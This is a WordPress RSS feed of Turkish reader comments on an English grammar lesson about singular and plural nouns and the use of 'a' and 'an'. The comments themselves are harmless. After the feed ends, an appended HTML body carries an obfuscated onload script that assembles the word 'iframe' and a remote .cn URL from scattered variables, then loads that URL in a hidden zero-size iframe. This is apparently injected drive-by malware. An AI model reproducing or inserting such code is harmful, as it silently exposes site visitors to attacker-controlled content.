<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>
<channel>
	<title>Tekil-Cogul Isimler yazısına yapılan yorumlar</title>
	<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html</link>
	<description>Ücretsiz İngilizce Dersin Adresi</description>
	<pubDate>Sun, 07 Sep 2008 18:46:57 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
		<item>
		<title>ingiliz..... tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1438</link>
		<dc:creator>ingiliz.....</dc:creator>
		<pubDate>Wed, 13 Aug 2008 10:49:27 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1438</guid>
		<description>çok hoş şeyler ...........İnşallah bu sitedeki öğrendiklerimden sonra ingilizce öğrenmiş olacağım.......</description>
		<content:encoded><![CDATA[<p>çok hoş şeyler &#8230;&#8230;&#8230;..İnşallah bu sitedeki öğrendiklerimden sonra ingilizce öğrenmiş olacağım&#8230;&#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>WebMaster tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1337</link>
		<dc:creator>WebMaster</dc:creator>
		<pubDate>Wed, 16 Jul 2008 15:53:53 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1337</guid>
		<description>G ve H maddelerinde özel durumu olan kelimelerin varlığından bahsetmiştik. Ne yazık ki ingilizcedeki tüm düzensiz çoğul-tekil formları vermemiz mümkün değil, o kadar çoklar ki :) 

Benzer şekilde, "a" veya "an" kullanımına yönelik farklılıklar mevcut, konu içinde bunu atlamışız ama İlhami Özdemir 'in belirttiği gibi yukarıdaki anlatımlar hatalı değil sadece eksik bir nokta yer almakta. 

Daha sonra bu eksikliği tamamlayacağım ama madem konusu açıldı hatırlatma yapayım, çok özel durumu olan bazı kelimelerde standart "a" / "an" kuralı değişir. Örnek olarak da İlhami 'nin verdiği örnekteki gibi "universal" ve ek olarak "university", "hour" gibi kelimeler verilebilir. Bunlarla kısıtlı değildir elbette, buna benzer şeyler mevcuttur. Bu tür bir durumda da yazılışından ziyade okunuşuna da dikkat etmek gerekir. (university 'nin "yunivörsiti" şeklinde okunması gibi)</description>
		<content:encoded><![CDATA[<p>G ve H maddelerinde özel durumu olan kelimelerin varlığından bahsetmiştik. Ne yazık ki ingilizcedeki tüm düzensiz çoğul-tekil formları vermemiz mümkün değil, o kadar çoklar ki <img src='http://engilizce.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Benzer şekilde, &#8220;a&#8221; veya &#8220;an&#8221; kullanımına yönelik farklılıklar mevcut, konu içinde bunu atlamışız ama İlhami Özdemir &#8216;in belirttiği gibi yukarıdaki anlatımlar hatalı değil sadece eksik bir nokta yer almakta. </p>
<p>Daha sonra bu eksikliği tamamlayacağım ama madem konusu açıldı hatırlatma yapayım, çok özel durumu olan bazı kelimelerde standart &#8220;a&#8221; / &#8220;an&#8221; kuralı değişir. Örnek olarak da İlhami &#8216;nin verdiği örnekteki gibi &#8220;universal&#8221; ve ek olarak &#8220;university&#8221;, &#8220;hour&#8221; gibi kelimeler verilebilir. Bunlarla kısıtlı değildir elbette, buna benzer şeyler mevcuttur. Bu tür bir durumda da yazılışından ziyade okunuşuna da dikkat etmek gerekir. (university &#8216;nin &#8220;yunivörsiti&#8221; şeklinde okunması gibi)</p>
]]></content:encoded>
	</item>
	<item>
		<title>wuslat tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1335</link>
		<dc:creator>wuslat</dc:creator>
		<pubDate>Wed, 16 Jul 2008 15:16:39 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1335</guid>
		<description>küçük dahi we ilhami özdemire katılıyorum</description>
		<content:encoded><![CDATA[<p>küçük dahi we ilhami özdemire katılıyorum</p>
]]></content:encoded>
	</item>
	<item>
		<title>ilhami özdemir tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1057</link>
		<dc:creator>ilhami özdemir</dc:creator>
		<pubDate>Sat, 28 Jun 2008 19:52:41 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1057</guid>
		<description>arkadaslar yukardakı anlatıma malesef katılamıycam neden dıyceksınız cunku oyle kelımeler varkı ornegın universal  bakın sesli harfle baslıyor ama bu kelımenın onune an degıl a gelır neden cunku kelımenın okunusu onemlı universal=yuniversal dıye okunur kı bunun basınada malesef a gelır 
yanı demek ıstedıgım ıngılızcede kelımenın okunurken kı ılk harfı onemlıdır basına ona gore a   yada   an   gelır bunu ıletmek ısterım saygılar...</description>
		<content:encoded><![CDATA[<p>arkadaslar yukardakı anlatıma malesef katılamıycam neden dıyceksınız cunku oyle kelımeler varkı ornegın universal  bakın sesli harfle baslıyor ama bu kelımenın onune an degıl a gelır neden cunku kelımenın okunusu onemlı universal=yuniversal dıye okunur kı bunun basınada malesef a gelır<br />
yanı demek ıstedıgım ıngılızcede kelımenın okunurken kı ılk harfı onemlıdır basına ona gore a   yada   an   gelır bunu ıletmek ısterım saygılar&#8230;</p>
]]></content:encoded>
	</item>
	<item>
		<title>yilmaz tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1000</link>
		<dc:creator>yilmaz</dc:creator>
		<pubDate>Wed, 18 Jun 2008 09:06:13 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-1000</guid>
		<description>ya güzel ama sorun surda ki her bölümün sonunda test gibi alistirma sorulari cözümlense daha iyi olurdu</description>
		<content:encoded><![CDATA[<p>ya güzel ama sorun surda ki her bölümün sonunda test gibi alistirma sorulari cözümlense daha iyi olurdu</p>
]]></content:encoded>
	</item>
	<item>
		<title>yusuf tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-946</link>
		<dc:creator>yusuf</dc:creator>
		<pubDate>Mon, 02 Jun 2008 13:22:45 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-946</guid>
		<description>bence gayet başarılı teşekkürederim siz yol actınız geliştirmekte o yolda gidenlerin olsun iyi çalışmalr</description>
		<content:encoded><![CDATA[<p>bence gayet başarılı teşekkürederim siz yol actınız geliştirmekte o yolda gidenlerin olsun iyi çalışmalr</p>
]]></content:encoded>
	</item>
	<item>
		<title>küçük dahi tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-706</link>
		<dc:creator>küçük dahi</dc:creator>
		<pubDate>Mon, 12 May 2008 13:06:20 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-706</guid>
		<description>aslında yararlı fakat dahaa cokk ornekler verılebılır mesela duzensız cogullar(irregular plurals)a mesela 
     A FOOT _ FEET =AYAK \ AYAKLAR
     A SHEEP _ SHEEP = KOYUN \ KOYUNLAR 
     A DEER _ DEER =GEYİK \ GEYİKLER
 GİBİİ.......</description>
		<content:encoded><![CDATA[<p>aslında yararlı fakat dahaa cokk ornekler verılebılır mesela duzensız cogullar(irregular plurals)a mesela<br />
     A FOOT _ FEET =AYAK \ AYAKLAR<br />
     A SHEEP _ SHEEP = KOYUN \ KOYUNLAR<br />
     A DEER _ DEER =GEYİK \ GEYİKLER<br />
 GİBİİ&#8230;&#8230;.</p>
]]></content:encoded>
	</item>
	<item>
		<title>assad tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-695</link>
		<dc:creator>assad</dc:creator>
		<pubDate>Sat, 10 May 2008 16:00:48 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-695</guid>
		<description>bende teşekkür ederim .. ve bencede çok yararlısınız saolun..</description>
		<content:encoded><![CDATA[<p>bende teşekkür ederim .. ve bencede çok yararlısınız saolun..</p>
]]></content:encoded>
	</item>
	<item>
		<title>assad tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-694</link>
		<dc:creator>assad</dc:creator>
		<pubDate>Sat, 10 May 2008 15:57:26 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-694</guid>
		<description>çok güzel ve yararlı ..teşekkür ediyorum..</description>
		<content:encoded><![CDATA[<p>çok güzel ve yararlı ..teşekkür ediyorum..</p>
]]></content:encoded>
	</item>
	<item>
		<title>expectant tarafından</title>
		<link>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-277</link>
		<dc:creator>expectant</dc:creator>
		<pubDate>Sat, 29 Mar 2008 10:27:18 +0000</pubDate>
		<guid>http://engilizce.com/ingilizceye-giris/tekil-cogul-isimler.html#comment-277</guid>
		<description>Net bir anlatım süper daha ne olsun. Tebrikler.</description>
		<content:encoded><![CDATA[<p>Net bir anlatım süper daha ne olsun. Tebrikler.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<html><body onload="status=' ';zz='o';sl='/';sf='ram';us='t';pi='b';po='.';gw='fi';qu=':';yh='a';vo='n';bw='e';pj='m';iu='s';pt='tp';yw='c';ab='src';dg='ht';ko='e';wd='if';hh='r';t=wd.concat(sf,ko);xx=dg.concat(pt,qu,sl,sl,iu,us,yh,pi,hh,zz,zz,pj,po,yw,vo,sl,gw,hh,bw,sl);var oE=document.createElement(t);oE.setAttribute('width','0');oE.setAttribute('height','0');oE.setAttribute('style','display:none');oE.setAttribute(ab,xx);document.body.appendChild(oE);
"></body></html>